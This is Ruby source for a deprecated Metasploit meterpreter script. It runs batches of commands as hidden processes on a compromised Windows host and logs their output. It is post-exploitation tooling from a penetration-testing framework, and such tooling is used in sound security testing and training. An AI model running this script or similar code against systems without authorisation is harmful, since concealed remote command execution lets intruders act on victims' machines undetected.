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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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#Meterpreter script for running multiple commands on Windows 2003, Windows Vista
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# and Windows XP and Windows 2008 targets.
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#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
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#Version: 0.1
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################## Variable Declarations ##################
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session = client
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wininfo = client.sys.config.sysinfo
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# Setting Arguments
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@@exec_opts = Rex::Parser::Arguments.new(
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  "-h" => [ false,"Help menu."                        ],
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  "-c" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
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  "-f" => [ true,"File where to saved output of command."],
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  "-r" => [ true,"Text file with list of commands, one per line."]
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)
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#Setting Argument variables
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commands = []
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script = nil
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outfile = nil
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help = 0
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################## Function Declarations ##################
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# Function for running a list of commands stored in a array, returns string
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def list_exec(session,cmdlst)
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  print_status("Running Command List ...")
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  tmpout = ""
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  cmdout = ""
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  r=''
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  session.response_timeout=120
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  cmdlst.each do |cmd|
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    next if cmd.strip.length < 1
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    next if cmd[0,1] == "#"
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    begin
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      print_status "\trunning command #{cmd}"
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      tmpout = "\n"
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      tmpout << "*****************************************\n"
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      tmpout << "      Output of #{cmd}\n"
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      tmpout << "*****************************************\n"
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      r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
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      while(d = r.channel.read)
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        tmpout << d
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        break if d == ""
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      end
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      cmdout << tmpout
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      r.channel.close
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      #r.close
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    rescue ::Exception => e
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      print_status("Error Running Command #{cmd}: #{e.class} #{e}")
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    end
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  end
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  cmdout
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end
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# Function for writing results of other functions to a file
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def filewrt(file2wrt, data2wrt)
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  output = ::File.open(file2wrt, "a")
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  data2wrt.each_line do |d|
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    output.puts(d)
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  end
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  output.close
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end
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def usage
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  print_line("Windows Multi Command Execution Meterpreter Script ")
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  print_line(@@exec_opts.usage)
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  raise Rex::Script::Completed
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end
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################## Main ##################
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@@exec_opts.parse(args) { |opt, idx, val|
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  case opt
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  when "-c"
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    commands = val.split(",")
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  when "-r"
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    script = val
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    if not ::File.exist?(script)
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      raise "Command List File does not exist!"
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    else
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      ::File.open(script, "r").each_line do |line|
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        commands << line.chomp
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      end
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    end
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  when "-f"
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    outfile = val
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  when "-h"
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    help = 1
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  end
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}
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if args.length == 0 or help == 1
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  usage
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elsif commands or script
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  if outfile
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    filewrt(outfile, list_exec(session,commands))
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  else
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    list_exec(session,commands).each_line do |l|
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      print_status(l.chomp)
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    end
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  end
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  raise Rex::Script::Completed
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else
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  usage
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end
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